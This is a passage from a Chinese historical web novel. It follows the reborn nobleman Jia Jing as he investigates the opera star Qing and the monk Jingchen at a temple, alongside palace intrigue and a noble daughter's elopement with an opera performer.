明息将东西往身后藏了藏,讪讪道:“那施主煮着,不打扰了。” 说着便转身,快步朝青老板的厢房走去,敲开门后,将那东西塞到开门小厮手上,明息就又快步离开了。 阿寿收回目光,将自己的身子朝耳房里面藏了藏,隐于黑暗中。 周围都静了下来,贾敬连同旁边几间厢房的灯接连熄灭,最后,青老板那间厢房的灯也暗了下去。 “咔——” 过了好一会儿,青老板厢房的门开了一道缝,阿寿陡然睁大眼睛,死死盯着,就见一位身材颀长的人穿着一件从头罩到脚的斗篷悄然走出。 看身量……是青老板! 第86章 阿寿一路跟着青老板到了左边厢房最角落的一处, 这里已然落了灯,漆黑一片。阿寿见青老板停了脚步,顺势在拐角处停住, 小心将自己藏匿起来,蹲守观望。 青老板站在那厢房门外,缓缓伸出手, 就在手要叩响门的那一瞬顿住, 手背翻转, 轻轻抚在了门面上, 手指轻轻摩挲。 “我知道你在。” 青老板的声音很轻,顺着风飘到阿寿耳边,稍纵即逝。 阿寿下意识屏住呼吸, 只为了将那轻声细语的话听清, 也为了听清厢房里的动静和回应。 厢房内一片寂静,仿佛没有活人一般。 青老板却是轻笑一声,呢喃声宛如情话,“知道你不想见我……” “我们明日再见吧。” 青老板走了, 悄无声息。 阿寿的目光落在那毫无动静的厢房,等了一会儿, 依旧和没人一般, 这才悄然离去。 贾敬并未睡, 等着阿寿的回话。 阿寿端着热气腾腾的茶水, 假意来给贾敬送茶。 阖上门后, 贾敬望着阿寿显得有些潮湿的肩头, 那是外出沾到的露水。 “你跟着人出去了?” 阿寿嘿嘿一笑, “二爷您果然料事如神, 那位青老板还当真一人出去了。” 他声音压低了几分, “也确实是去了左边那排厢房。” 贾敬闻言,眉眼稍稍一抬,“他去见了那位净尘师傅?” 阿寿点点头,又摇了摇头,贾敬见状,颔首示意阿寿接着说下去。 “二爷,青老板确实去了,却并未见到人,那房里并未有人回应,也没人开门。” 阿寿将青老板在那厢房外的表现一一道来,贾敬眼眸微微闪动,心下思忖: 这位净尘师傅果然与青老板是旧识,也不知缘何,不愿见深夜拜访的青老板。 阿寿挠了挠头,眼巴巴望着贾敬,“二爷,可需要小的今晚去盯着。” 贾敬摆摆手,“不了,你也累了好些天了,今日就好好歇息吧。” “一切,等明早就知道了。” 就如青老板在那厢房外所言,明日再见吧。 翌日清晨,天蒙蒙亮,贾敬便已经醒了,这边一起身刚有动静,外面便想起了阿寿询问的声音, “二爷,您可是醒了?小的进来了。” 贾敬:“嗯。” 阿寿将手中的盆和帕子放下,“二爷,方才明息小师傅说,前殿准备了早斋,可前去用膳。” 他说完这句话,俯了俯身子小声道:“明息小师傅还去了隔壁青老板那儿,想来也是邀他去往前殿。” “小的还听到,早斋过后,青老板先慈那边的法事就要开始了。” 贾敬漱完口,用帕子将脸擦净,缓缓睁开眼,意味深长地吐了句,“是吗?” 阿寿摸不准贾敬的态度,“二爷……” 贾敬迈步,“走吧,我们也去尝尝南无寺的早斋。” 出了门,清晨山上的湿气便扑面而来,贾敬紧了紧身上的披风,一连串低咳便压不出的从喉中溢出。 “咳咳……咳……” 阿寿见贾敬如此,心下一惊,“二爷昨晚真的受了寒?” 他刚走至贾敬身边,贾敬抬眸睨了他一眼,阿寿一愣,像是意识到什么,连忙低下头, “二爷,您慢些。山上凉气重,您的咳疾可不能受风了。” 贾敬时不时咳着,脚步不疾不徐,一路到了前殿旁一处招待香客的地方,刚进去,贾敬便看见了已经坐在那里的两道身影。 其中一位在贾敬一进来,便抬头看来,贾敬自然也认出了,这是昨晚跟在青老板身边的小厮。 而小厮身旁的青老板,就显得有些心不在焉,自始至终都未曾抬起头朝贾敬这里看一眼。 贾敬也不在意,看似随意地选在了青老板隔壁的小桌案旁坐下。 一个小沙弥端来一份早斋,贾敬便也如常地开始用膳。 “公子,您快用些吧,不然要凉了。”小厮劝着青老板,“待会儿法事还不知道要进行多长时间呢。” 青老板好似真的被小厮劝动,手上动作快了许多。 “咳咳……” 低咳声不断传来,青老板下意识看去,目光落在贾敬的脸上时,顿住,脸上划过一丝犹疑。 贾敬轻掩着口鼻,若有所感,压了压咳意,略带歉意地抬头看向旁边的青老板,沙哑着嗓音, “对不住,打扰……”本说到一半的话卡在喉中,贾敬也惊诧地望向青老板,“你是那日在翰墨轩的那位公子?” 青老板也终于想起了,这位眼熟的贵气矜骄公子在哪里见过了。本以为是他曾去的哪位主家遇见过,可他又不确定。 倘若真的是哪家的高门子弟,凭借着贾敬的容貌和气度,他不会这般没有印象。 不曾想,是翰墨轩那位撞到他的公子,这一切也便说得通了。 青老板礼貌地笑笑,也当做是回应了,他待会儿还有其他事,并不想与贾敬多寒暄。 他刚准备起身离开,就听贾敬轻笑,“还真是有缘,能在这里遇见青老板。” 青老板身体微微一滞,转眸看向贾敬,语气带着些惊疑,“公子认得在下?” 他在京中确实算是个角儿,也流连于达官显贵间,可他对贾敬着实有些陌生。 贾敬弯眼笑道:“听过青老板的几出戏,当真是咱们京中一绝。” 青老板听贾敬这么说,牵了牵嘴角,也只能客气回道:“谢公子抬爱。” 他有些犹豫,想要借托离开的话在嘴边绕着,又怕得罪了这位知晓他身份的贵公子。 说得好听些,他算是京中一名角儿,可在这些高门公子眼里,他不过就是个下九流的戏子。 至于……那位…… 青老板的眼底闪过一抹厌恶,并不愿意想起。 贾敬像是看出青老板的打算,询问道:“青老板可是有急事?” 青老板垂下眼眸,脸上挂着难掩的悲伤与痛色,声音沉了些许,“在下亡母就供奉在此寺,今日为亡母安排了一场法事……” 他说着,声音是止不住的哽咽,平日里温润清隽的人,此时脆弱到惹人怜惜。 贾敬不禁在心中感慨,到底是京中名角儿,懂得示弱,也懂得怎么展现他的长处与魅力。 “竟是如此……”贾敬一副怜贫惜弱的模样,“青老板快去吧。” 青老板朝贾敬感激一笑,“谢公子,水青记着您的好。” 说完便起了身,匆匆走了。 阿寿望着青老板和其小厮离开的背影,有些不解, “二爷,就这么让他走了?” 贾敬慢条斯理地吃着南无寺准备的早斋,“难道你还想跟过去?” 阿寿下意识反驳,“那成何体统……” 他家二爷的身份怎么能去参加那样的法事呢? 贾敬:“法事现场那般多的人,量他也不敢在那时跟净尘师傅接触,想来那位净尘师傅也不愿。” “我们只待法事结束……” 贾敬这边悠闲地吃着早斋,这边领着小厮出门的青老板放缓了脚步,“小力,那位公子,你可有印象?” 小力自从进了戏班子,就被分到了青老板身边伺候,那会儿青老板虽还未唱出名声,却也是他们崇雅堂班主最喜欢的一位。 小力瞧着不起眼,可记性出奇的好,常陪同着青老板出入京城各大王公侯府,许多贵人主子都有印象。 “瞧着眼生。”小力微微拧眉,“那位公子或许听过您的戏,但次数必然不多。” 小力的猜测一点不差,贾敬也只在理国公府听过一次而已。 青老板抿了抿唇,“可是,他一眼就认出了我,还是我的素容。” 他于很多人面前,都是扮相居多,素容相较起来,就少了许多。 小力有些担忧地看着青老板,“公子,小的觉得这位贵人,有些奇怪。” 青老板没有反驳,只是道:“走吧,法事要开始了。” 他也不想去想这些贵人们是什么想法,他于这些人眼里,不过如蝼蚁一般。 今日,他只有一个念头,只想见到他想见的那个人。 【作者有话要说】 嘿嘿嘿其实青老板和净尘的关系应该很明显了吧,他们之间有什么过往呢? 第87章 贾敬吃完早斋后, 便领着阿寿在南无寺内转悠。此时寺内上香礼佛的香客愈发多了起来,他们两人倒也不显得扎眼。 路过大殿时,遇见了昨晚见过的住持, 贾敬想了一会儿,便迈步进去,与住持施礼, 轻咳了几声, “谢住持昨夜的收留之恩。” 住持慈眉善目, “这位施主多礼了。” 他说着从旁边拿出一个签筒, 朝贾敬面前递了递。 贾敬一愣,有些不解地看向住持,“您这是……” 住持笑眯着眼睛, “施主向本寺捐了香火, 按照本寺规矩,赠施主一支签。” 贾敬失笑,原来是这样,本想着拒绝, 后又想起什么,故意道: “住持客气, 我平日不懂签文, 这该如何?” 住持:“施主既然在本寺抽了签, 自然有人为施主解签。” 贾敬嘴角勾起一抹笑, 嘴上恭维道: “听闻南无寺的师傅们皆有慧根, 应当是哪位师傅都能为在下解惑吧?” 住持迟疑了一瞬, 点点头, “自然, 施主请便。” 贾敬眼含笑意, 随手抽出一张签,他并没有直接看签面,而是对住持道: “在下平日也在乎缘这一字,这签在下暂时还不想解。” 那位净尘师傅能被明息称之为师叔,还能独立主持法事,想来本事绝不差,贾敬可以假借寻他解签,和这位净尘师傅见上一面。 住持依旧没有反驳,“一切随施主心意便好。” “谢住持。”贾敬手握着那支签,向住持告辞。 贾敬其实当真不怎么好奇这签文,他上一世在玄真观多年,道观中也有这些,看签解签一事,他也懂上一些,做不过是一些凶吉之语,至于准不准…… 贾敬随意将签文捏在手心中。 他不好奇,可旁边的阿寿却有些好奇,小声问道: “二爷,您不看看那签?” 贾敬瞥了他一眼,“好奇?好奇便给你看吧。” 说完就随手塞到了阿寿手中。 阿寿看着上面的签文,挤眉弄眼,他虽然识字,却也不多,最后看见那句写着什么福泽,便立刻恭喜贾敬, “二爷,这是支上上签呢!” 贾敬有些稀奇地看向阿寿,“你小子还会解签了?” 阿寿点头,“这签太好了,小的都能瞧出来,二爷果然是大富大贵之命!” 在他看来,这签上全是好话,想着这寺庙也是有心眼,定是准备了一堆好签来哄这些捐了香火的香客们。 贾敬斜睨了阿寿一眼,“既如此,这签你就替二爷我收着,也让你沾沾福气。” 阿寿嘴上咧出一个笑,“跟着二爷,就是小的最大的福气。” “你可打听到,青老板那场法事在何处?”贾敬正了正脸色,问着阿寿。 阿寿:“都打听清楚了就在后院菩提塔后面,一般法事都在那举行。前面的菩提塔热闹得紧。” 贾敬:“既然热闹,那我们就去看看。” 白日寺内多处焚了香,香雾渺渺,梵音阵阵。贾敬鼻尖嗅着熟悉的檀香味,自觉南无寺的檀香当真是有些不同,怪不得他昨天刚踏入,闻见便忆起了上次那本抄本心经上的气味。 应当是在檀香里掺了些松香。 贾敬这般想着就到了那座菩提塔前,塔四周都围满了人,皆是在抛铜钱祈祷,着实热闹。 阿寿抬手向前指了指,“二爷,塔后那处僻静点处,就是法事的法场所在。” 贾敬眯着眼睛看去,隐约能看见几位沙弥盘腿坐在那里,前方挂着白幡,香烛燃燃。 青老板跪在前方正中的位置,微微垂首,像是在为法事虔诚祈祷,而他的前面正站着一位身穿深色袈裟的僧人,他双手合十,正垂首诵念着经文。 贾敬朝前走了一段路,在角落站定,静静地看着,此时他也终于看清了青老板面前那位师傅——法号净尘。 他一身深色袈裟,衬得他那张几乎苍白的脸几近透明,目光低垂,面容寡淡,古朴幽静的气质配上那张年轻的脸庞,矛盾又和谐。 净尘原本合十的双手,此时一只立方于胸前,一只手持着念珠,念珠随着他唇边溢出的梵音,慢慢转动。 青老板一身素衣长袍跪坐于净尘对面,贾敬注意到,他原本微垂的头此时已经抬起,正盯着对面阖眼专心念经的净尘,那眼神…… 贾敬不禁晃了晃神,手指下意识蜷缩起来,嘴角微微勾起,却带着些莫名的苦涩。 他道他们会是什么关系,原来是这样。 这眼神,贾敬再熟悉不过,那是看爱慕之人的眼神,眼中的情愫根本藏不住。 只是瞧那位净尘师傅,一位出家之人,青老板的这片心,怕是“相思似海深,旧事如天远”了。 况且,这位青老板传闻可是被齐王萧淮洵看上的人,萧淮洵又怎么可能容忍这么这样一位的存在。 思及此处,贾敬眼眸微微一闪,看向净尘的目光带了些探寻。 这位净尘师傅是因何出家为僧的呢? 贾敬这边正想着,只见净尘和青老板那里有了一丝动静。 净尘朝青老板微微行礼,语气古井无波道:“施主,礼已成,请回吧。” 话说完便转身想要离去,一句话也不想多说,袈裟的衣袂在空中划过一道似是无情的弧度。 “李,”青老板连忙出声,“净尘师傅,请留步!” 众人瞧着,净尘也不好一走了之,只好顿下脚步,却未转身,只是道:“施主,所为何事?” “贫僧还有要事需要处置。”这话说得极为不客气。 青老板闻言抿了抿有些干涩的唇角,眼尾下垂,带着些痛意,下一瞬,他便浅笑出声, “净尘师傅,我还有一事想要问询,来时路过大殿抽了根签,还请您能解上一解。” 贾敬见青老板从袖中掏出一支签,眨了眨眼。 是了,青老板常年在南无寺供奉其亡母的灵位和长明灯,今日还定了场法事,定然也是捐了香火。 那位主持说的也不是假话,每位在南无寺捐了香火的香客,都可获赠一支签。 青老板有这支签文,也就不奇怪了。 只是贾敬没想到,他居然跟这位青老板想到了一处去,用这支签文找净尘解签。 净尘不为所动:“施主却寻他人……” 青老板:“我已经与住持请示过,他请净尘师傅您,为我解签。” 净尘的话未说完,便被青老板打断,而青老板将住持搬出,净尘原本拒绝的话便也说不下去了。 他一句话未说,迈步就走。 青老板也不甚在意,直接起身便跟了上去。 贾敬见状,朝阿寿伸出手,“将那支签文给我。” 阿寿连忙将他收起的那支签递给贾敬,贾敬拿到后,心道: 幸好没给扔了。 他随意扫过签面,却愣怔住了。 只见竹签上面签文写道: 前世业障扰今身,情海波澜苦难伸。 此缘既定痴念破,业障渐消福泽臻。 这签…… 贾敬不由得看有些久,阿寿在旁边观察着贾敬的神情,试探开口, “二爷,小的没说错吧?这真是支好签……” 阿寿越说声音越小,愈发没了底气,以为自己说错了话,声音都有些发颤,“这签有问题?” 贾敬回神,将签又捏回手心中,摇了摇头,“没问题,是支好签。” 这签的内容,让贾敬这位重活一世之人有些感触,若是真的如签文所说,便好了。 不过他接触签文多了,自然知道这上面什么前世今生之说,多半是一些故弄玄虚之作,当不得真。 “走吧,我们也去找那位净尘师傅解解签。” 【作者有话要说】 注释:相思似海深,旧事如天远。出自宋,乐婉《卜算子·答施》 第88章 净尘朝一处禅房走去, 青老板一声不吭地跟在他身后。 两人进入禅房后,青老板身边跟随着的小厮小力自觉地站在门外,为他们二人守着。 此间禅房是待客的处所, 里面茶水瓜果一应俱全。净尘与青老板相对坐下,一时无言。 青老板说着解签不过是借口,他只是想和对面这人单独处处。 净尘垂眸, 并未看向青老板, 兀自伸出手, “施主, 贫僧为你解签。” 青老板直勾勾盯着净尘那张寡淡平静的脸,并未将手中的签给出去,挑明道: “清臣, 你知道的, 我来此的目的,是你。” 净尘收回手,“施主,此处只有净尘。” 没有李清臣。 青老板听着净尘的话, 嘴唇蠕动了几下,想要出声反驳, 可又顾虑着什么, 最终没有再说什么。 他默默伸出手, 将手中的签递给了对面的净尘。 净尘接过签, 一板一眼地解了这支签。 这支签说不是上上签, 也不算是下下签, 中规中矩, 青老板也不甚在意。 净尘将签递回去, 声音轻飘飘, “施主还有何处不解?” 青老板望着那执着签的手,缓缓伸出手,先是捻住签头,手指顺着签滑着,与净尘的手指轻触。 接触之间,净尘浑身一颤,陡然抬起眼睛盯着青老板,哑然,“你……” 净尘连忙将手收回去,就在要缩回袈裟的那一瞬间,青老板手腕一翻,就直接握住了净尘的手腕。 “啪!” “嘶……” 竹签落地声伴随着一声抽气声同时响起。 净尘原本挣扎着的手一顿,目光下意识看向青老板,见他面上划过一丝痛色,净尘原本一直平静的眼里像是滴入了水滴,惊起一串慌乱。 “你怎么了?” 青老板眼眸轻敛,忽然松开握着净尘的手腕,“我没事。” 说着他欲将手收回袖子。 净尘见状,却如刚才青老板一般,抓住手腕,一翻,青老板白皙如葱的手指上划破一道血痕,没一会儿便有血珠渗出。 这是刚刚青老板手腕翻动间,被竹签划破了手。 净尘见那伤口,抿了抿唇,青老板轻声道: “不碍事,只是破了点皮,回去擦些药就行了。” 他嘴上说着不碍事,被净尘握着的手倒是纹丝不动,就这么摊着给净尘看。 净尘见他毫不在意的模样,稍稍拧眉, “手要千变,伤了手,你上不了场,该如何?” 青老板抬起眼,定定地看着净尘,“你是怕我上不了场,被班主罚?” 净尘没说话,只是从怀中掏出一张雪白的帕子,小心地将青老板那根冒着血珠的手指包了起来。 直到将手帕扎好,净尘才抬头看着青老板,神情郑重,“当心些。” 青老板平日清隽自持的眉眼缓缓舒展,露了笑颜, “清臣,我早已经不是当年那个没名气的水青了。” “如今,就算是班主也会卖我几分薄面,强迫我上台的事,也不会再有了。” 青老板说的也不是假话,以他现在的名气,作为崇雅堂的台柱子,班主大多数都是哄着他,顺着他。 净尘的脸色却没有因为青老板的话而变好,反而冷了几分。 青老板想到了什么,笑着的脸僵了僵,紧接着嘴角接着牵起,仿佛刚刚那一瞬的变化只是错觉。 他大胆直接的将自己的手挤入净尘的掌内,十指相扣,压低了嗓音, “我不会让你一直躲在这南无寺做这个和尚净尘。” “等我。” “李清臣。” 这个俗家名字,熟悉又陌生,陌生到仿佛是上一世的事情了。 净尘眼眸颤颤,他掀起眼皮,对上青老板带着坚定决绝的眼睛,脸上闪过慌张, “你想做什么?” 他语气迫切,“我不需要你管,你不要……” 净尘话没说完,便被青老板一个倾身,堵住了嘴,声音消散。 贾敬让阿寿引开小厮小力,绕开正门,在侧窗外将这一切看在了眼里,尤其是看到青老板的举动,那样的主动大胆,着实让贾敬有些讶然。 心中也不知怎的起了一丝莫名的心思,贾敬想要抓住,奈何太过模糊,一晃而过,稍纵即逝。 而净尘和青老板那里又有了新的动静,贾敬也来不及多思。 青老板偏过头,附在净尘耳边小声耳语,贾敬探了探身子,依旧没有听见说了什么。 不过想来和青老板先前说的那句话有关。 净尘师傅,原名——李清臣。 有了这个名字,一切便好查了。 贾敬这边想着,就见禅房里,净尘起身后退,拉开了和青老板的距离,寡淡的脸上难得起了一丝红晕,气息尚且不稳,颤着声音, “施主,贫僧已为您解签,您该回去了。” 青老板望着与他几步之遥的净尘,顿了一会儿,缓缓站起身,一字一顿道: “再会。” 青老板一出门就撞见了站在门外手持着签的贾敬,瞳孔骤然一缩, “公子怎么在此。” 贾敬是故意从侧窗移步到的门边,他装作看不出青老板的慌乱,晃了晃手中的签, “住持赠了一支签,听闻净尘师傅解签一绝,在下便寻了来,没想到,如此有缘,竟又遇见了青老板。” 贾敬稍稍挑眉,“老板也来解签?” 眼睛则是瞥向青老板缠着帕子的手,青老板迅速扯了扯袖子,遮掩住手,扯了扯嘴角, “是,水青已经解完了签,公子请。” 青老板拿不准贾敬的身份,也不知贾敬来了多久,只好装作若无其事,请贾敬进去。 贾敬确实也不想暴露自己在此偷听,便直接迈步进了禅房。 青老板朝禅房内看了一眼,见净尘朝他这里隐晦地使了个眼色,才深呼吸一口气,心怀忐忑地离开。 应当是没看见…… 而禅房内,贾敬面色如常地将手中的签递给了净尘,“请师傅解一解签。” 贾敬也没别的目的,也只是想跟这位净尘师傅打个照面。 净尘双手解过签,垂眸看去,看完签面后,将签放下。 贾敬手指轻点着桌面,“净尘师傅对此签有何解?” 净尘双手合十,“施主,此签是为上签。” 贾敬蹙起眉,故意当看不懂此签,“这签上写的什么前世业障,看着就不怎么吉利。” “善哉,”净尘再次施礼,“施主,此签前半段虽说了往昔业障,累及今生。可前尘终究是前尘,缘分既定,待执念消去,今生必然是白日青天,福缘满盈。” 净尘虽然只是按照签面解了,但确实解的不错。 贾敬虽对这些糊弄人的签文嗤之以鼻,却也认同净尘所说。他重活一世,自然会有上一世不同,也定然会有一个善终。 至于执念消去…… 贾敬唇齿间稍稍摩挲,随意一笑,伸手将桌案上的竹签拿回,“那就谢净尘师傅吉言了。” 与净尘打了个照面,贾敬也便不再停留,再多的想来也试探不出,他也已经拿到了想要知道的线索,后续去查便是。 李、清、臣。 · 与此同时,萧淮川这边刚下了早朝,刚出大殿,便被人唤住。 “皇兄请留步。” 萧淮川脚步停下,却未回身。 “臣弟回京,还未曾好好向皇兄请安。”三皇子萧淮泽绕到萧淮川身前,向萧淮川行礼,看着很是恭敬。 刚散朝的许多王公大臣也都看到了这一幕,许多人也纷纷议论起来。 “早就听闻三皇子殿下为人兄友弟恭,如此看来,果然如此。” “还喊三皇子?刚刚圣上可是封了王,以后该称呼梁王殿下了。” “梁王殿下孝心可嘉,侍奉在太后娘娘左右,圣上大喜,封了王,进了大理寺历练,前途无量啊。” “齐王殿下也不差,那么重要的事情,也交给了齐王殿下。” 萧淮川垂眸看着面前躬身行礼的萧淮泽,“三弟免礼吧。” 萧淮泽直起身,脸上挂着笑,“臣弟回京着实事情不少,皇祖母那里时不时需要臣弟去侍奉,父皇又吩咐了差事……还请皇兄不要怪罪。” 萧淮川对于这些兄弟的心思,摸得一清二楚,也厌烦和这些人虚与委蛇,面上淡淡: “自然不会怪罪,皇弟既封了梁王,又接了父皇的差事,便好好当差,别辜负了父皇的信任。” 丢下这句话,萧淮川便直接迈步走了。 萧淮泽盯着萧淮川的背影,眼底藏着阴鸷狠戾,他拳头紧紧攥着。 “太子殿下啊,还真是高高在上,这幅说教的模样……” “令人作呕。” 萧淮川走至一个拐角,一位绯色官服的官员早已经等在此处,自然地跟在萧淮川身后。 “殿下,圣上将修葺东宫这样的重工交与齐王殿下,您并未反对?” 萧淮川颔首:“他如今在工部,这些合该是他做的,既然圣上旨意已下,孤自然没有异议。” 那官员对于萧淮川这番回答并不意外,他想要问的也并非是此事,修葺东宫事小,修葺东宫的目的,才是事大。 “东宫修葺,是为迎娶太子妃娘娘,殿下又是何打算?” 他自然知晓圣上属意张家二小姐,可对于追随萧淮川一脉的官员来说,他们并不认为这样的太子妃,能成为太子殿下的助力。 萧淮川瞥了那官员一眼,“这件事,孤自有打算。” 官员被萧淮川这么一看,顿时心下一跳,又因萧淮川下一句话而放下心来。 “不会是张家女。” 第89章 贾敬刚回府, 方才朝堂上的事情就传到了他耳边。 他一人静坐在书房内,分析着眼下的情况。 三皇子萧淮泽回京,封了梁王, 不日就要去大理寺任职。 而齐王萧淮洵…… “修葺东宫?”贾敬喃喃,唇角下垂,放于桌案上的手缓缓攥紧。 他自然也清楚, 这是为萧淮川娶太子妃做准备。萧淮川先前的态度, 大抵是不满意天丰帝的安排, 但太子妃不是张二小姐, 也会是其他人。 贾敬忽的又想起萧淮川不举的隐疾,眉稍稍拧起。 萧淮川若是真的要选一位太子妃,人选还真是有些棘手, 如果一直没有子嗣, 那萧淮川的储君之位…… 可一想到萧淮川不会与其他女人接触,贾敬心底又有一抹压不住的兴奋和窃喜。 他知道他不该这么想,可是,他忍不住。 “呵。”一声轻嘲在书房内响起。 贾敬脸上带着一抹自嘲和苦闷, 为他那不可告人的阴暗心思。 他努力将脑中的心思甩出,紧接着他像是想到了什么, 猛地一顿。 修葺东宫! 萧淮洵负责! 贾敬骤然想起上一世将萧淮川害死的巫蛊之术, 如果这一世他们重操旧计, 想要将这计谋埋下, 修葺东宫就是最好的一个机会。 想到此处, 贾敬连忙拿过纸笔, 写了一封信, 好好封好, 唤来人, 命人将手中的信给萧淮川送去。 随后贾敬便命人去查李清臣此人,想要知道后面齐王萧淮洵想要做什么,青老板绝对是一个重要关键。 贾敬马不停蹄地布置完,就听有人禀报: “二爷,理国公家柳家大爷来访。” 贾敬眉头一动,“柳阙?他怎么来了?” 说着贾敬已然起身,出了书房门,门口候着的正是阿禄,他低声回道: “听闻柳大爷一早就去了翰林院官署等您,听您告了假没当值,便又直接来了咱们府上。” 贾敬闻言,面色正了正,柳阙鲜少会来寻自己,而他今日的举动,显然是有什么重要的事情。 他大跨步朝外走去。 柳阙正面色焦急地在花厅转悠,时不时抬眼朝外看着,当贾敬出现在他视线里时,柳阙连忙迎上。 “培元!” 贾敬:“发生了何事,这样急?” 柳阙脸上闪过一丝羞愧,有些难言,贾敬拍了拍柳阙的肩膀, “你我还有什么好计较的?说吧。” 柳阙是又急又躁,但事情重要,他将嗓音压得极低, “我家大妹妹,不见了!” 贾敬一愣,柳家大姑娘不见了?他下意识抬眸看向柳阙。 柳阙咬牙切齿,“连带不见的,还有那个武生!” 贾敬是听明白了,这是柳家大姑娘和那武生一起私奔了啊。贾敬心中对这位柳家大姑娘有些佩服了。 柳阙狠狠叹了口气,“培元,这件事我大伯和祖父还不知道。” 贾敬知道了大概情况,也不废话,“你需要我做什么?” 柳阙连忙道:“我家现在是瞒着大伯和祖父寻我大妹妹,所以人手实在有限。” “敷大哥如今不在京中,你家人手应当都在你手上吧,培元,你能帮我找找人吗?” 柳阙的话并没错,贾敷不在京中,宁国府二门内由史云棠打理,而二门外的事儿全交给了贾敬。 贾敬点头,“好,我现在就派人去找。” 柳阙眼眶瞬间红了,紧紧抓着贾敬的手,声音起了哽咽却出不了声。 他家先前想自家姑娘和贾敬相看,可这妮子居然做了那等事,着实是下了贾敬的颜面。 若是换做一般人,别说帮他找人了,不落井下石就已然是很好了。 贾敬自然是不会在意,他也本不想和柳大姑娘相看。 而柳大姑娘到底是个弱女子,跟那武生私奔后,走不了多远,还真当被贾敬派出去的人找到了。 人就躲在郊外的一处村户农家。 贾敬和柳阙忙不迭地赶过去。 柳阙又气又急,到了那家农户门口,直接让人围了个水泄不通,恐怕连个蚊子都飞不出。 动静不小,也惊动了屋内的人,没一会儿,里面就出来一个人,当看到人的时候,两边都是一惊。 “培元兄?” “岑回?” 没错,从屋内出来的长衫书生,正是贾敬先前在翰墨轩打过照面的岑回。 岑回看着贾敬,以及将他家围了一圈的人,有些惊慌,“这是怎么了?” 贾敬一时也不知道该如何说,岑回显然不会和柳家有关联,想来是那武生熟识的人。 柳阙见贾敬和岑回认识,皱了皱眉,“你既然和培元认识,我也不为难你,我寻我家妹妹。” 岑回张了张嘴,看着和贾敬一样华服满身的柳阙,“你妹妹?” 柳阙手一指,直接喊道:“柳云晚,出来!” 声音落下,这座小院一片寂然。岑回更是大气不敢喘一个,他此时已经意识到,眼下的事情,和他表兄告诉他的情况,有很大出入。 过了好一会儿,屋内传来窸窸窣窣的声音,随后一道弱弱的声音响起,里面是掩盖不住的心虚, “大哥。” 柳云晚一身粗布麻衣,在门后探出一个脑袋,把柳阙看的,差点气的一个倒仰,简直丢人! 岑回见状,连忙邀请贾敬和柳阙进去,“二位进去再说吧。” 柳阙一甩袖子,眼睛死死盯着门后的柳云晚,走了进去,贾敬朝岑回一拱手,“打扰了。” 岑回讪讪一笑,笑的比哭还难看,心中悲叹,表哥这是惹了什么大麻烦啊。 柳阙一进屋,柳云晚便快步躲到了一位壮硕男子身后,柳阙脸都气青了。 “柳云晚,你给我过来!” 柳云晚手扯着壮硕男子的衣角,摇着头,一脸抗拒。 柳阙气的瞪着那壮硕男子。 壮硕男子正是崇雅堂的武生,赵霁。 只见赵霁“砰”的一声跪在了柳阙面前,“一切都是我的错,柳大爷别怪大姑娘。” 柳阙冷笑,眼神恨不得把这个拐走自家妹妹的男人给凌迟了,“当然是你的错!” “拐带官家小姐,你罪大恶极!” 柳云晚一听柳阙这么说,顿时就急了,看着赵霁,“霁哥,明明是我让你带我走了。” 她转头看向柳阙,“是我要走的,和他无关!” 柳阙见柳云晚这样护着人,面色铁青,气的浑身颤抖, “柳云晚,你是疯了吗!竟然……” 私奔两个字柳阙说不出口,他自己妹妹的名声他还是要顾及的。 赵霁双拳紧握,声音有些涩,“柳大爷,是小的错,和大姑娘无关。” 他转眼看向柳云晚,嘴唇蠕动,在柳云晚的目光下,说不出话来。 柳云晚也径直跪在了柳阙面前,她昂着下巴倔强道: “哥,我就认准了他,如果你要报官拿他,就连我一起抓了!” “不然,你就以私奔之名抓了我,我就算是被沉塘,我也要和霁哥死一起!” 柳阙气得头发晕,要不是一旁贾敬扶了他一把,柳阙可能都要一个腿软,跌地上了。 柳云晚的这番话,若是被外人听到,少不得被骂不知廉耻,可柳阙却不认用这样的恶言对向自己的妹妹。 他只能目光瞪着跪在他面前的两人,赵霁挺身,“柳大爷,你报官吧,一切都是我的主意!要杀要剐是我应得的!” 柳阙还真像这么干,可柳云晚决绝的态度,他敢吗? 最后柳阙看向柳云晚,咬着牙道:“你知不知道,你在说什么?” “你真就看上他了?他一个戏子,他能给你什么?” 柳云晚此时眼睛也泛着红,但语气坚定,“对,我心意已决,我就认定他了,我不在乎他是不是戏子身份!” 贾敬眼神复杂地望着这位柳家大小姐,忽的又想起今日上午南无寺禅房内,青老板的模样。 柳阙揉着发疼的眉心,声音有些疲惫,“你知道的,伯父和祖父都不会同意的。” 柳云晚昂首:“我知道,我这样做会让理国公府蒙羞。” “所以,我走了。” 柳阙身体一顿,盯着柳云晚,深吸一口气,“你就为了这么一个男人,要放弃父母亲人,放弃你的身份?” “我知道你厌烦家中给你安排相看,可你也不能……” “没有。”柳云晚打断柳阙的话,她眼神定定,“我承认,我一开始确实是为了避开家中相看。” 赵霁听着,微微垂下头,原本就攥着的手,如今捏的更紧了。 谁知下一秒,柳云晚就将自己的手坚定不移的覆在赵霁的拳上,“我如今就是非霁哥不嫁!” “你!”柳阙一惊,他自然不会看不出,柳云晚的认真。 柳云晚牵起嘴角,“我知道,咱家又不是真的需要我去联姻,你们也是真的想我嫁得好。” “可如今,我眼里心里就只能看见他。” 她转头看向怔怔看着自己的赵霁,笑意深了几分。 或许一开始,她只是觉得这个武生直愣愣地有些好玩,可接触久了,他笨拙又赤忱的心,渐渐让柳云晚动了心。 贾敬出了声,劝着柳阙,“人既然已经找到,你就别太担心了。” “至于事儿,一切都有转圜的余地,不是吗?” 柳云晚的目光看向贾敬,她虽没怎么跟贾敬见过,可也知道他的身份,也知晓自己上次也差点让贾敬失了颜面。 只是没想到,他居然会为自己说话。 柳阙深呼吸一口气,“跟我回家!” 柳云晚讨价还价,“你保证,不报官抓霁哥,也不准把我们分开!” 柳阙哼了一声,“到了这一步,我可做不了主。” 柳云晚默然,她想了好一会儿,做下决定,“好,我回家自己自己跟祖父还有父亲坦白一切。” “霁哥,你愿意吗?”柳云晚转头看向赵霁,赵霁毫不犹豫的点头。 岑回在旁边都麻了,这都叫什么事啊? 贾敬拍了拍他的肩膀,以示安慰。 而贾敬这边刚出去,忽然有一位下属上前,小声想他禀报了什么,他脚步一顿。 目光落在柳云晚身边的赵霁身上。 柳阙也注意到贾敬的异样,“怎么了?” 贾敬眯了眯眼,“我可能要跟这位赵霁赵兄弟,单独聊聊了。” 柳阙见贾敬没有多说内容,也不多问。 “赵霁,你过来!” 柳云晚警惕地看着柳阙,手牵着赵霁,“你干什么?” 柳阙气不打一处来,“我还能吃了他不成?” 